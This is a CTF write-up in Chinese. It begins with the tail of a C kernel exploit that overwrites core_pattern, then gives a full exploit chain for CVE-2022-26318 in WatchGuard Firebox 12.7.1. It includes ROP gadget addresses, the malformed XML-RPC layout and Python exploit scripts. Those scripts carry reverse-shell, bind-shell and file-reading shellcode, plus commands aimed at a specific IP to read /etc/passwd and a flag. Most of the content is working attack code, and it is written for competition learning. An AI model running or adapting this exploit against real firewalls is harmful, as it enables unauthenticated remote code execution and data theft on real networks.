    memcpy(&disp, code + 0x14, sizeof(disp));
    printk_runtime = default_handler + 0x18ULL + (int64_t)disp;

    fprintf(stderr, "printk_runtime=%#016llx\n", (unsigned long long)printk_runtime);
    return printk_runtime - STATIC_PRINTK;
}

int main(void) {
    int fd;
    uint64_t mask_c;
    uint64_t obj_c;
    uint64_t default_handler;
    uint64_t module_base;
    uint64_t slide;
    uint64_t core_pattern;
    char helper_path[8] = "|/tmp/x";

    fd = open("/dev/crossref", O_RDWR);
    if (fd < 0) {
        die("open /dev/crossref");
    }

    default_handler = leak_default_handler(fd, &mask_c, &obj_c);
    module_base = default_handler - DEFAULT_HANDLER_OFF;

    build_jobs_arw(fd, module_base, default_handler);

    slide = leak_kernel_slide(fd, module_base, default_handler);
    core_pattern = STATIC_CORE_PATTERN + slide;

    fprintf(stderr, "default_handler=%#016llx module_base=%#016llx slide=%#016llx core_pattern=%#016llx\n",
            (unsigned long long)default_handler,
            (unsigned long long)module_base,
            (unsigned long long)slide,
            (unsigned long long)core_pattern);

    prepare_helper_files();
    arb_write(fd, module_base, core_pattern, helper_path, sizeof(helper_path));

    if (!trigger_core_pattern_and_print_flag()) {
        diex("failed to retrieve flag");
    }

    return 0;
}

firebox

这题出的好啊

题目要求是:RCE,或者能读取 flag

这题最终走通的是一条未授权利用链,不依赖默认密码,也不需要先登录后台

首先题目说这是一个常见的防火墙,但是有点老了,好像全是栋啊!能社一下吗?

直接给了镜像文件,结合题目优先想到就是找个cve打打

镜像丢给ai挖了个版本号12.7.1 B644848,结合公开资料和未授权rce找到比较符合的就是CVE-2022-26318

而这题的我参考的核心就是 CVE-2022-26318

漏洞入口是未授权的 /agent/login

参考的公开poc和资料:https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318.rb还有https://github.com/misterxid/watchguard_cve-2022-26318

一开始需要手动配下环境,从接入的 VMware 虚拟网段里拿到的地址,然后在浏览器打开

show interface可以查看当前从 DHCP 配置拿到的地址,至于登录,admin/readwrite 是 WatchGuard Firebox 官方公开的默认内置管理账号口令

浏览器能打开就说明成功了

polaris81

然后就用这个网址当靶机去测试

公开 PoC 的总体思路是对的

但是公开 PoC 的 gadget 和 first-hop tag 不适用于这份 12.7.1 B644848 镜像

所以不能直接拿 MFA + public gadget 硬打

需要先重新挖当前 build 的 executable gadget,再换一条稳定的 second stage

最后最稳的结果面不是反弹 shell,而是直接把文件内容通过 FastCGI 响应回显出来

这题如果一上来就盲改参数,很容易在 502、无回显、回连不稳定之间绕圈。正确顺序是:

先看公开 PoC 的包体长什么样

先看:

  • public_rapid7_watchguard.rb:87-94
  • assetnote_watchguard.html:274-276

这两处能直接看出公开链的关键格式:

<full xml prefix>
"A" * 3181
"MFA>"
"<BBBBMFA>" * 3680

这一层的意义是先搞清楚:

  • 头部 padding 到底是不是 3181
  • first-hop tag 到底怎么闭合
  • 后面重复 tag 的布局到底是什么
  • 公共资料里没有 AA 尾巴

这个点非常关键,因为我前面本地调试时一度用了带 AA 的 full_xml 变种,结果对当前 build 的布局是错位的

再看本地 exploit 的布局函数

确认完公开 payload 之后,再看本地脚本里实际如何拼包:

  • POCwg_stage2_retest.py:911-924

这里能看到三种布局:

  • public_exact
  • assetnote_full
  • full_xml

其中:

  • assetnote_full 才是最后稳定命中的版本
  • full_xml 会多拼一个 AA

最后打通时使用的是:

layout = assetnote_full
head_pad = 3181
repeat_count = 3680

再看真实 build 的 gadget 链

布局确认无误后,再用ai去挖当前镜像对应的真实 gadget

先看POCwg_stage2_retest.py:18-32

这里定义了从当前 FireboxV 12.7.1 B644848 镜像中重新挖出来的 real gadget:

FIRST_HOP_TAG = "mEA"
REAL_RET = 0x405020
REAL_RET_2 = 0x40F888
REAL_POP_RAX_RBX_RBP_RET = 0x41D52E
REAL_POP_RSI_R15_RET = 0x41D4D1
REAL_PUSH_RBP_MOV_RBP_RSP_CALL_RAX = 0x405E7C
REAL_MOV_RBP_RSP_CALL_RAX = 0x405E7D
REAL_LEA_RDX_RBP_M80_CALL_RAX = 0x41D1CD
REAL_ADD_RAX_RDX_JMP_RAX = 0x40A84A
  • CVE 只告诉这里有栈溢出
  • 栈溢出不等于天然就能执行 shellcode
  • 真正从崩溃走到可控执行,靠的是 second-stage ROP 链
  • 而 ROP 链里的地址和具体 build 强相关

也就是说,公开 PoC 给的只有:

  • 利用思路
  • 一组针对公开样本的 gadget 地址

但这题镜像是:

  • 12.7.1 B644848

它和公开资料对应的二进制不是同一个编译结果,所以这几样东西都可能变:

  • first-hop tag
  • ret/pop/mov rbp,rsp; call rax 这类 gadget 地址
  • second-stage 相对栈布局

如果 gadget 地址不对,利用现象通常就是:

  • 502 Bad Gateway
  • 连接被断开
  • 看起来像命中了溢出,但始终进不了第二阶段

所以这题还必须写为了让溢出后的控制流真的落到可控代码,需要为当前 build 重新找 gadget

本题最终利用成功的核心,不是“知道有这个 CVE”,而是“把当前 build 的 second-stage gadget 链重建出来”

这题最后稳定命中的 second-stage 在:

  • POCwg_stage2_retest.py:191-208

链条如下:

REAL_RET
REAL_RET_2
REAL_RET
00 00
REAL_POP_RAX_RBX_RBP_RET
REAL_POP_RSI_R15_RET
0
0
REAL_MOV_RBP_RSP_CALL_RAX
0
REAL_PUSH_RBP_MOV_RBP_RSP_CALL_RAX
REAL_LEA_RDX_RBP_M80_CALL_RAX
0
REAL_POP_RAX_RBX_RBP_RET
0xC0
0
0
REAL_ADD_RAX_RDX_JMP_RAX

这些 gadget 的作用可以理解成下面这样:

名称地址作用
FIRST_HOP_TAGmEA先把 libxml 的回调跳转引到我们可控的 second-stage 附近
REAL_RET0x405020做最前面的栈对齐和过渡
REAL_RET_20x40F888配合前后 ret 调整栈位置,让后面的 body 在正确偏移被解释
REAL_POP_RAX_RBX_RBP_RET0x41D52E装填 rax/rbx/rbp,给后续 call rax 和地址运算做准备
REAL_POP_RSI_R15_RET0x41D4D1清理并布置 rsi/r15,避免第二阶段被脏寄存器影响
REAL_MOV_RBP_RSP_CALL_RAX0x405E7D关键 pivot 点,把 rbp 锚到当前 rsp,再通过 call rax 连到下一段
REAL_PUSH_RBP_MOV_RBP_RSP_CALL_RAX0x405E7C再次把栈基址和执行流固定下来,给后面取相对地址用
REAL_LEA_RDX_RBP_M80_CALL_RAX0x41D1CD计算 rdx = rbp - 0x80 一类的相对地址,把 shellcode/数据区和栈基址关联起来
REAL_POP_RAX_RBX_RBP_RET0x41D52E第二次使用时把 0xC0 装进 rax,作为偏移量
REAL_ADD_RAX_RDX_JMP_RAX0x40A84A最后把 rax = rdx + 0xC0,再 jmp rax,直接跳到栈上 shellcode/结果面代码

可以把这条链概括成一句话:

  • 前半段负责把 rbp 固定到当前栈,建立“稳定参考点”
  • 中间一段根据 rbp 算出我们 payload 中第二阶段代码的相对位置
  • 最后一跳把控制流准确地送进后面的 shellcode

所以这条链不是随便拼几个 ret,而是在做三件事:

  1. 栈对齐
  2. 栈锚定
  3. 相对地址计算后跳转到 shellcode

除了 ROP gadget,本题里 first-hop tag 也不能直接照抄公开资料

公开资料常见的是MFA

但当前 build 最后稳定命中的却是mEA

这一点在POCwg_stage2_retest.py:18-23里已经直接写出来了。

可以把它理解成公开样本里,某个 libxml 回调被劫持后,刚好会落到 0x41464d 对应的 MFA

但在当前 build 里,真正能把执行流带入正确 second-stage 的,是 0x41456d 对应的 mEA

所以:

  • 不是“随便找个三个字符 tag”
  • 而是要让 first-hop 对应的值和当前 build 的控制流落点正好匹配

这也是为什么本题必须写“重找 first-hop + 重建 gadget 链”,而不是只写“套用公开 PoC”。

然后看:

  • POCwg_stage2_retest.py:191-208

这里是当前 build 最终稳定的 second-stage:

  • build_real_assetnote_exact_chain()

也就是说,这题真正要修的不是“公开 PoC 有没有思路”,而是:

  • first-hop tag 要从 MFA 改成 mEA
  • gadget 要从 public 版本换成当前 build 的真实地址

RCE 成功以后,怎么把结果带回来,同样很关键

先看POCwg_stage2_retest.py:386-524`

这是最后打通 flag 的核心函数build_response_readfile_shellcode()

它不是简单地 write(fd, data),而是自己构造:

  • FastCGI STDOUT 记录
  • 空 STDOUT
  • END_REQUEST

因为 /agent/login 这条链跑在 FastCGI/前端代理后面,结果面必须符合这个协议,前端才会老老实实回你 200 OK 和内容

CVE-2022-26318 是 WatchGuard wgagent 在处理未授权 /agent/login 请求时的栈溢出漏洞。

攻击者可以直接向https://<target>:8080/agent/login或设备上的 4117 入口

发送恶意 gzip 压缩的 XML-RPC 请求

利用的关键不是普通的 XML-RPC 调用,而是一个刻意构造的畸形 XML tag 布局:

  • 先用 A * 3181 把内存布局顶到临界位置
  • 再用 MFA> 或当前 build 的 mEA> 做 first-hop
  • 再重复大量 <BBBB...> tag

公开资料里提到,后续 libxml2 再次尝试调用 startElementNs 之类的解析回调时,控制流会被带到被破坏后的地址上

在这题里,可以把它理解成:

  1. 攻击者可控 XML 数据把解析过程用到的栈上控制数据/回调路径冲坏了
  2. 下一次解析器回调时,程序不再跳到正常函数
  3. 而是跳到由攻击者布局好的 first-hop/ROP/shellcode

这个问题其实不是一个点,而是几个点叠在一起。

最早卡住的核心原因,是直接拿公开 PoC 的 gadget 去打本地镜像

结果就是:

  • 有时 502
  • 有时无响应
  • 有时像是要进 second stage 但总差一口气

原因不是漏洞不存在,而是地址错了

这也是为什么后面必须换到:

  • FIRST_HOP_TAG = "mEA"
  • build_real_assetnote_exact_chain()

早期调试里一度用了 full_xml 版本,而这个版本会在重复 tag 后面额外拼一个 AA

但公开资料和最终稳定链都说明:

  • 正确布局应该是 assetnote_full
  • 不要那个 AA

这个小偏移会直接影响 second stage 的落点。

我一开始把“读文件回显”当成普通 HTTP body 写

这一步是最后真正收口前最大的坑

最早做读文件版 payload 时,思路是:

  1. open("/flag.txt")
  2. read()
  3. write(fd, "Content-Type: text/plain\\r\\n\\r\\n" + data)

这在“普通 TCP 响应”里看起来是合理的,但对这题不够。

原因是:

  • /agent/login 这条链实际结果面走的是 FastCGI
  • 前端想看到的是标准 FastCGI STDOUT 记录
  • 不是裸写一段普通 HTTP body

所以之前会出现:

  • 无响应
  • EOF occurred in violation of protocol
  • 502 Bad Gateway

最后修正方法就是:

  • 按 FastCGI 协议自己拼 STDOUT + 空 STDOUT + END_REQUEST
  • 同时把 content length 正确填进去

修完之后,/etc/passwd 能稳定回显但由于一直不理解出题人的要求程度

我这个本地镜像里也没有flag,不知道具体路径,发了个基础的未授权rce验证,邮箱回复说要完整rce

我还考虑说是不是要提权到root,反弹 shell 不够稳定,我中途也试过 reverse shell

现象是:

  • 目标会回连
  • 但拿不到可靠的交互输出

这和公开资料里的经验是一致的:WatchGuard 这种设备系统很精简,传统交互 shell 不一定是最稳的结果面。

所以最后没有死磕反弹 shell,而是换成了:

  • response
  • response_readfile

这种直接回显的方式

本地做过这些检查:

  • 常见路径搜索 /flag/flag.txt/root/flag*/home/admin/flag*
  • firebox_analysis/fs_flag_search.txt 递归枚举系统目录
  • support dump 中只见到 debug_flag,内容是 0

最后还是感谢出题人公开了静态靶机地址:

先验证远程 8080 上是否真有未授权 RCE

使用:

python firebox_analysis\firebox_1271_rce.py 114.66.24.203 --rport 8080 --payload-kind response --marker REMOTE8080_OK --recv-timeout 6

看到:

  • HTTP/1.1 200 OK
  • 回应里出现自定义 marker

这一步就已经能证明:

  • 远程 8080 的 /agent/login 是可利用的

实测里:

  • 8080 是稳定命中的
  • 4117 更容易出现 502

所以最后解题直接固定在:

https://114.66.24.203:8080/agent/login

为了证明“读文件回显”链真的通了,先读:

python firebox_analysis\firebox_1271_rce.py 114.66.24.203 --rport 8080 --payload-kind response_readfile --target-path /etc/passwd

这里成功回显了 /etc/passwd,说明:

  • response_readfile 的 FCGI 结果面是对的
  • 当前权限足以读普通系统文件

再试常见 flag 路径

先试:

python firebox_analysis\firebox_1271_rce.py 114.66.24.203 --rport 8080 --payload-kind response_readfile --target-path /flag

回显:

OPEN_FAILED /flag

说明:

  • /flag 不存在

最后走狗屎运改读 /flag.txt

最终命令:

python firebox_analysis\firebox_1271_rce.py 114.66.24.203 --rport 8080 --payload-kind response_readfile --target-path /flag.txt

返回flag

到这一步,题目已经完成

exp

import argparse
import subprocess
import sys
from pathlib import Path


ROOT = Path(__file__).resolve().parent
BASE = ROOT.parent
CORE = BASE / "POCwg_stage2_retest.py"


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Wrapper for the confirmed WatchGuard FireboxV 12.7.1 B644848 RCE parameters"
    )
    parser.add_argument("rhost")
    parser.add_argument("--rport", type=int, default=8080)
    parser.add_argument(
        "--payload-kind",
        default="response",
        choices=[
            "response",
            "response_readfile",
            "bindbeacon",
            "beacon",
            "python_flag",
            "python_flag_local",
            "python_readfile_local",
            "reverse",
            "hang",
        ],
    )
    parser.add_argument("--marker", default="RCE1271_OK")
    parser.add_argument("--lhost", default="192.168.248.1")
    parser.add_argument("--lport", type=int, default=9001)
    parser.add_argument("--response-fds", default="4,5,6,7,8,9,10,11,12")
    parser.add_argument("--recv-timeout", type=float, default=5.0)
    parser.add_argument("--target-path", default="/flag.txt")
    args = parser.parse_args()

    cmd = [
        sys.executable,
        str(CORE),
        "--rhost",
        args.rhost,
        "--rport",
        str(args.rport),
        "--tag",
        "mEA",
        "--stage2",
        "real_assetnote_exact",
        "--padding",
        "231",
        "--head-pad",
        "3181",
        "--repeat-count",
        "3680",
        "--layout",
        "assetnote_full",
        "--payload-kind",
        args.payload_kind,
        "--marker",
        args.marker,
        "--lhost",
        args.lhost,
        "--lport",
        str(args.lport),
        "--response-fds",
        args.response_fds,
        "--target-path",
        args.target_path,
        "--recv-timeout",
        str(args.recv_timeout),
    ]

    return subprocess.run(cmd, cwd=ROOT).returncode


if __name__ == "__main__":
    raise SystemExit(main())

POCwg_stage2_retest.py

import argparse
import argparse
import gzip
import socket
import ssl
import struct
import sys


R_HOST = "192.168.17.134"
L_HOST = "192.168.17.1"
L_PORT = 8888
MARKER_TEXT = b"PewPewPewPew"
RESPONSE_FDS = "4,5,6,7,8,9,10,11,12"
PUBLIC_RESPONSE_FDS = "9"
HEAD_PAD_LEN = 3181

# Real 12.7.1 build 644848 wgagent extracted from the appliance image:
#   mEA -> 0x41456d -> ret 0x90be
# Alternate real-sample candidate:
#   mbA -> 0x41626d -> ret 0x8b48
FIRST_HOP_TAG = "mEA"
PUBLIC_FIRST_HOP_TAG = "MFA"

REAL_RET = 0x405020
REAL_RET_2 = 0x40F888
REAL_POP_RAX_RBX_RBP_RET = 0x41D52E
REAL_POP_RSI_R15_RET = 0x41D4D1
REAL_PUSH_RBP_MOV_RBP_RSP_CALL_RAX = 0x405E7C
REAL_MOV_RBP_RSP_CALL_RAX = 0x405E7D
REAL_LEA_RDX_RBP_M80_CALL_RAX = 0x41D1CD
REAL_ADD_RAX_RDX_JMP_RAX = 0x40A84A

G_JMP_RSP = 0x407BDD
G_RET = 0x427636
G_RET_2 = 0x412640
G_RET_14 = 0x413548
G_ADD_RSP_8_RET = 0x40601C
G_SKIP_56_RET = 0x427A6A
G_SKIP_24_RET = 0x407F30
G_POP_RBX_RBP_RET = 0x407F34
G_POP_RAX_RBX_RBP_RET = 0x40A5A1
G_POP_RBP_JMP_RAX = 0x4275D7
G_CALL_RAX = 0x427650
G_MOV_RBP_RSP_CALL_RAX = 0x42764D
G_RBP_PIVOT_10_RET = 0x4065EF
G_RBP_PIVOT_20_RET = 0x407DEE

PUB_RET = 0x405020
PUB_RET_2 = 0x40F968
PUB_POP_RAX_RBX_RBP_RET = 0x41D60E
PUB_POP_RSI_R15_RET = 0x41D5B1
PUB_MOV_RBP_RSP_CALL_RAX = 0x405E7D
PUB_PUSH_RBP_MOV_RBP_RSP_CALL_RAX = 0x405E7C
PUB_LEA_RDX_RBP_M80_CALL_RAX = 0x41D2AD
PUB_ADD_RAX_RDX_JMP_RAX = 0x40A92A

# Real-sample defaults: because the best candidate is again a ret 0x90be
# first-hop, we revert to the public spacing rather than the wtB compensation
# that only made sense for the wrong binary sample.
TAG_REPEAT_COUNT = 3680
STAGE2_PADDING = 231
RET_CHAIN_COUNT = 0

PROFILE_DEFAULTS = {
    "real_4117_reverse": {
        "rport": 4117,
        "tag": FIRST_HOP_TAG,
        "stage2": "real_assetnote_exact",
        "payload_kind": "reverse",
        "response_fds": RESPONSE_FDS,
        "layout": "assetnote_full",
    },
    "real_4117_response": {
        "rport": 4117,
        "tag": FIRST_HOP_TAG,
        "stage2": "real_assetnote_exact",
        "payload_kind": "response",
        "response_fds": RESPONSE_FDS,
        "layout": "assetnote_full",
    },
    "public_4117_response": {
        "rport": 4117,
        "tag": PUBLIC_FIRST_HOP_TAG,
        "stage2": "assetnote_exact",
        "payload_kind": "assetnote_response",
        "response_fds": PUBLIC_RESPONSE_FDS,
        "layout": "assetnote_full",
    },
    "public_8080_response": {
        "rport": 8080,
        "tag": PUBLIC_FIRST_HOP_TAG,
        "stage2": "assetnote_exact",
        "payload_kind": "assetnote_response",
        "response_fds": PUBLIC_RESPONSE_FDS,
        "layout": "assetnote_full",
    },
}


def p64(x):
    return struct.pack("<Q", x)


def cli_has(argv, *names):
    for arg in argv:
        for name in names:
            if arg == name or arg.startswith(name + "="):
                return True
    return False


def apply_profile_defaults(args, argv):
    profile = PROFILE_DEFAULTS[args.profile]
    if not cli_has(argv, "--rport"):
        args.rport = profile["rport"]
    if not cli_has(argv, "--tag"):
        args.tag = profile["tag"]
    if not cli_has(argv, "--stage2"):
        args.stage2 = profile["stage2"]
    if not cli_has(argv, "--payload-kind"):
        args.payload_kind = profile["payload_kind"]
    if not cli_has(argv, "--response-fds"):
        args.response_fds = profile["response_fds"]
    if not cli_has(argv, "--layout"):
        args.layout = profile["layout"]
    return args


def build_callskip_chain(call_site):
    return (
        p64(G_POP_RAX_RBX_RBP_RET)
        + p64(G_ADD_RSP_8_RET)
        + p64(0x4141414141414141)
        + p64(0x4242424242424242)
        + p64(call_site)
        + p64(G_JMP_RSP)
    )


def build_rax_poprbp_jmprax_chain():
    return (
        p64(G_POP_RAX_RBX_RBP_RET)
        + p64(G_JMP_RSP)
        + p64(0x4141414141414141)
        + p64(0x4242424242424242)
        + p64(G_POP_RBP_JMP_RAX)
        + p64(0x4343434343434343)
    )


def build_rbp_pivot_chain(pivot_gadget):
    # Layout after the public preamble:
    #   pop rax/rbx/rbp -> load add_rsp_8_ret into rax
    #   mov rbp, rsp ; call rax -> rbp becomes a stable anchor into our stack
    #   lea rsp, [rbp-0x10|0x20] ; ... ; ret -> returns to jmp rsp
    #   jmp rsp -> lands directly on our shellcode bytes
    return (
        p64(G_POP_RAX_RBX_RBP_RET)
        + p64(G_ADD_RSP_8_RET)
        + p64(0x4141414141414141)
        + p64(0x4242424242424242)
        + p64(G_MOV_RBP_RSP_CALL_RAX)
        + p64(pivot_gadget)
        + p64(G_JMP_RSP)
    )


def build_assetnote_exact_chain():
    # Recreate the published helper chain exactly, but let the caller choose the
    # tail shellcode/payload bytes that start immediately after the final jump.
    body = (
        p64(PUB_POP_RAX_RBX_RBP_RET)
        + p64(PUB_POP_RSI_R15_RET)
        + p64(0)
        + p64(0)
        + p64(PUB_MOV_RBP_RSP_CALL_RAX)
        + p64(0)
        + p64(PUB_PUSH_RBP_MOV_RBP_RSP_CALL_RAX)
        + p64(PUB_LEA_RDX_RBP_M80_CALL_RAX)
        + p64(0)
        + p64(PUB_POP_RAX_RBX_RBP_RET)
        + p64(0xC0)
        + p64(0)
        + p64(0)
        + p64(PUB_ADD_RAX_RDX_JMP_RAX)
    )
    return p64(PUB_RET) + p64(PUB_RET_2) + p64(PUB_RET) + b"\x00\x00" + body


def build_real_assetnote_exact_chain():
    body = (
        p64(REAL_POP_RAX_RBX_RBP_RET)
        + p64(REAL_POP_RSI_R15_RET)
        + p64(0)
        + p64(0)
        + p64(REAL_MOV_RBP_RSP_CALL_RAX)
        + p64(0)
        + p64(REAL_PUSH_RBP_MOV_RBP_RSP_CALL_RAX)
        + p64(REAL_LEA_RDX_RBP_M80_CALL_RAX)
        + p64(0)
        + p64(REAL_POP_RAX_RBX_RBP_RET)
        + p64(0xC0)
        + p64(0)
        + p64(0)
        + p64(REAL_ADD_RAX_RDX_JMP_RAX)
    )
    return p64(REAL_RET) + p64(REAL_RET_2) + p64(REAL_RET) + b"\x00\x00" + body


def build_public_preamble(stage2_body):
    # Match the public exploit's first transition:
    #   ret 2 -> ret -> misaligned stage2 body
    # The first qword is a harmless placeholder consumed by libxml cleanup.
    return p64(G_RET) + p64(G_RET_2) + p64(G_RET) + b"\x00\x00" + stage2_body


def build_reverse_shellcode(lhost, lport):
    sockaddr = b"\x02\x00" + struct.pack(">H", lport) + socket.inet_aton(lhost)
    prefix = bytes.fromhex("6a2958996a025f6a015e0f05489748b9")
    suffix = bytes.fromhex(
        "514889e66a105a6a2a580f056a035e48ffce"
        "6a21580f0575f66a3b589948bb2f62696e2f"
        "736800534889e752574889e60f05"
    )
    return prefix + sockaddr + suffix


def build_beacon_shellcode(lhost, lport, marker_text):
    if len(marker_text) > 0xFFFF:
        raise ValueError("marker text too long")

    sockaddr = b"\x02\x00" + struct.pack(">H", lport) + socket.inet_aton(lhost)
    shellcode = bytes.fromhex(
        "6a2958996a025f6a015e0f054897"
        "6a00"
        "48b9"
    )
    shellcode += sockaddr
    shellcode += bytes.fromhex(
        "51"
        "4889e6"
        "6a105a"
        "6a2a58"
        "0f05"
        "488d3500000000"
        "ba00000000"
        "b801000000"
        "0f05"
        "b83c000000"
        "31ff"
        "0f05"
    )
    lea_off = shellcode.find(bytes.fromhex("488d3500000000"))
    if lea_off < 0:
        raise RuntimeError("failed to locate beacon lea placeholder")
    disp_off = lea_off + 3
    msg_off = len(shellcode)
    next_rip = disp_off + 4
    shellcode = bytearray(shellcode)
    shellcode[disp_off : disp_off + 4] = struct.pack("<i", msg_off - next_rip)
    len_off = shellcode.find(bytes.fromhex("ba00000000"))
    if len_off < 0:
        raise RuntimeError("failed to locate beacon length placeholder")
    shellcode[len_off + 1 : len_off + 5] = struct.pack("<I", len(marker_text))
    shellcode += marker_text
    return bytes(shellcode)


def build_bind_beacon_shellcode(lport, marker_text):
    if len(marker_text) > 0xFFFF:
        raise ValueError("marker text too long")

    sockaddr = b"\x02\x00" + struct.pack(">H", lport) + b"\x00\x00\x00\x00"
    shellcode = bytes.fromhex(
        "6a2958996a025f6a015e0f05"
        "6a00"
        "48b9"
    )
    shellcode += sockaddr
    shellcode += bytes.fromhex(
        "51"
        "4889e6"
        "6a105a"
        "6a3158"
        "0f05"
        "6a015e"
        "6a3258"
        "0f05"
        "31f6"
        "31d2"
        "6a2b58"
        "0f05"
        "4897"
        "488d3500000000"
        "ba00000000"
        "b801000000"
        "0f05"
        "b83c000000"
        "31ff"
        "0f05"
    )
    lea_off = shellcode.find(bytes.fromhex("488d3500000000"))
    if lea_off < 0:
        raise RuntimeError("failed to locate bind beacon lea placeholder")
    disp_off = lea_off + 3
    msg_off = len(shellcode)
    next_rip = disp_off + 4
    shellcode = bytearray(shellcode)
    shellcode[disp_off : disp_off + 4] = struct.pack("<i", msg_off - next_rip)
    len_off = shellcode.find(bytes.fromhex("ba00000000"))
    if len_off < 0:
        raise RuntimeError("failed to locate bind beacon length placeholder")
    shellcode[len_off + 1 : len_off + 5] = struct.pack("<I", len(marker_text))
    shellcode += marker_text
    return bytes(shellcode)


def parse_fd_list(text):
    fds = []
    for item in text.split(","):
        item = item.strip()
        if not item:
            continue
        fds.append(int(item, 0))
    if not fds:
        raise ValueError("empty fd list")
    return fds


def build_response_shellcode(marker_text, fd_list):
    if len(marker_text) > 0xFFFF:
        raise ValueError("marker text too long")

    content = b"Content-Type: text/plain\r\n\r\n" + marker_text
    stdout_header = (
        b"\x01\x06\x00\x01"
        + struct.pack(">H", len(content))
        + b"\x00\x00"
    )
    empty_stdout = b"\x01\x06\x00\x01\x00\x00\x00\x00"
    end_request = b"\x01\x03\x00\x01\x00\x08\x00\x00" + (b"\x00" * 8)
    record = stdout_header + content + empty_stdout + end_request

    shellcode = b"\x48\x89\xe6"  # mov rsi, rsp
    shellcode += b"\x48\x81\xc6" + struct.pack("<I", 0)  # patched later with record offset
    shellcode += b"\xba" + struct.pack("<I", len(record))  # mov edx, len
    for fd in fd_list:
        shellcode += b"\xbf" + struct.pack("<I", fd)  # mov edi, fd
        shellcode += b"\xb8\x01\x00\x00\x00"  # mov eax, 1
        shellcode += b"\x0f\x05"  # syscall
    shellcode += b"\xb8\x3c\x00\x00\x00"  # mov eax, 60
    shellcode += b"\x31\xff"  # xor edi, edi
    shellcode += b"\x0f\x05"  # syscall
    shellcode = shellcode[:6] + struct.pack("<I", len(shellcode)) + shellcode[10:]
    return shellcode + record


def build_assetnote_response_shellcode(marker_text, fd):
    if len(marker_text) > 0xFFFF:
        raise ValueError("marker text too long")
    if not (0 <= fd <= 0xFFFFFFFF):
        raise ValueError("fd out of range")

    content = b"Content-Type: text/plain\r\n\r\n" + marker_text
    record = (
        b"\x01\x06\x00\x01"
        + struct.pack(">H", len(content))
        + b"\x00\x00"
        + content
    )
    shellcode = b""
    shellcode += b"\x48\xc7\xc2" + struct.pack("<I", len(record))  # mov rdx, len(record)
    shellcode += b"\x48\x89\xe6"  # mov rsi, rsp
    shellcode += b"\x48\x83\xc6" + bytes([0])  # add rsi, shellcode_len (patched later)
    shellcode += b"\x48\xc7\xc7" + struct.pack("<I", fd)  # mov rdi, fd
    shellcode += b"\x48\xc7\xc0\x01\x00\x00\x00"  # mov rax, 1
    shellcode += b"\x0f\x05"  # syscall
    shellcode += b"\x48\xc7\xc0\x3c\x00\x00\x00"  # mov rax, 60
    shellcode += b"\x48\xc7\xc7\x00\x00\x00\x00"  # mov rdi, 0
    shellcode += b"\x0f\x05"  # syscall
    shellcode = shellcode[:13] + bytes([len(shellcode)]) + shellcode[14:]
    return shellcode + record


def build_response_readfile_shellcode(target_path, fd_list, read_size=2048):
    if not target_path:
        raise ValueError("target path is required")
    if read_size <= 0 or read_size > 0x7FFFFFFF:
        raise ValueError("invalid read size")

    path_bytes = target_path.encode() + b"\x00"
    content_header = b"Content-Type: text/plain\r\n\r\n"
    stdout_header = b"\x01\x06\x00\x01\x00\x00\x00\x00"
    empty_stdout = b"\x01\x06\x00\x01\x00\x00\x00\x00"
    end_request = b"\x01\x03\x00\x01\x00\x08\x00\x00" + (b"\x00" * 8)
    open_fail = f"OPEN_FAILED {target_path}\n".encode()
    read_fail = f"READ_FAILED {target_path}\n".encode()

    code = bytearray()
    patches = {}

    code += b"\x48\x8d\x3d\x00\x00\x00\x00"  # lea rdi, [rip+path]
    patches["path"] = len(code) - 4
    code += b"\x31\xf6"  # xor esi, esi
    code += b"\x31\xd2"  # xor edx, edx
    code += b"\xb8\x02\x00\x00\x00"  # mov eax, 2
    code += b"\x0f\x05"  # syscall
    code += b"\x48\x85\xc0"  # test rax, rax
    code += b"\x0f\x88\x00\x00\x00\x00"  # js open_fail
    patches["js_open_fail"] = len(code) - 4
    code += b"\x49\x89\xc4"  # mov r12, rax
    code += b"\x48\x81\xec" + struct.pack("<I", read_size)  # sub rsp, read_size
    code += b"\x4c\x89\xe7"  # mov rdi, r12
    code += b"\x48\x89\xe6"  # mov rsi, rsp
    code += b"\xba" + struct.pack("<I", read_size)  # mov edx, read_size
    code += b"\x31\xc0"  # xor eax, eax
    code += b"\x0f\x05"  # syscall
    code += b"\x48\x85\xc0"  # test rax, rax
    code += b"\x0f\x88\x00\x00\x00\x00"  # js read_fail
    patches["js_read_fail"] = len(code) - 4
    code += b"\x49\x89\xc5"  # mov r13, rax
    code += b"\x49\x89\xe6"  # mov r14, rsp
    code += b"\xe9\x00\x00\x00\x00"  # jmp prepare_send
    patches["jmp_prepare_send"] = len(code) - 4

    open_fail_off = len(code)
    code += b"\x4c\x8d\x35\x00\x00\x00\x00"  # lea r14, [rip+open_fail]
    patches["open_fail_text"] = len(code) - 4
    code += b"\x49\xc7\xc5" + struct.pack("<I", len(open_fail))  # mov r13, len(open_fail)
    code += b"\xe9\x00\x00\x00\x00"  # jmp prepare_send
    patches["jmp_from_open_fail"] = len(code) - 4

    read_fail_off = len(code)
    code += b"\x4c\x8d\x35\x00\x00\x00\x00"  # lea r14, [rip+read_fail]
    patches["read_fail_text"] = len(code) - 4
    code += b"\x49\xc7\xc5" + struct.pack("<I", len(read_fail))  # mov r13, len(read_fail)
    code += b"\xe9\x00\x00\x00\x00"  # jmp prepare_send
    patches["jmp_from_read_fail"] = len(code) - 4

    prepare_send_off = len(code)
    code += b"\x48\x8d\x1d\x00\x00\x00\x00"  # lea rbx, [rip+stdout_header]
    patches["stdout_header"] = len(code) - 4
    code += b"\x4c\x8d\x05\x00\x00\x00\x00"  # lea r8, [rip+empty_stdout]
    patches["empty_stdout"] = len(code) - 4
    code += b"\x4c\x8d\x0d\x00\x00\x00\x00"  # lea r9, [rip+end_request]
    patches["end_request"] = len(code) - 4
    code += b"\x4c\x8d\x15\x00\x00\x00\x00"  # lea r10, [rip+content_header]
    patches["content_header"] = len(code) - 4
    code += b"\x4d\x89\xef"  # mov r15, r13
    code += b"\x49\x83\xc7" + bytes([len(content_header)])  # add r15, len(content_header)
    code += b"\x66\x44\x89\xf8"  # mov ax, r15w
    code += b"\x86\xe0"  # xchg al, ah
    code += b"\x66\x89\x43\x04"  # mov [rbx+4], ax

    for fd in fd_list:
        code += b"\xbf" + struct.pack("<I", fd)  # mov edi, fd
        code += b"\x48\x89\xde"  # mov rsi, rbx
        code += b"\xba\x08\x00\x00\x00"  # mov edx, 8
        code += b"\xb8\x01\x00\x00\x00"  # mov eax, 1
        code += b"\x0f\x05"  # syscall
        code += b"\xbf" + struct.pack("<I", fd)  # mov edi, fd
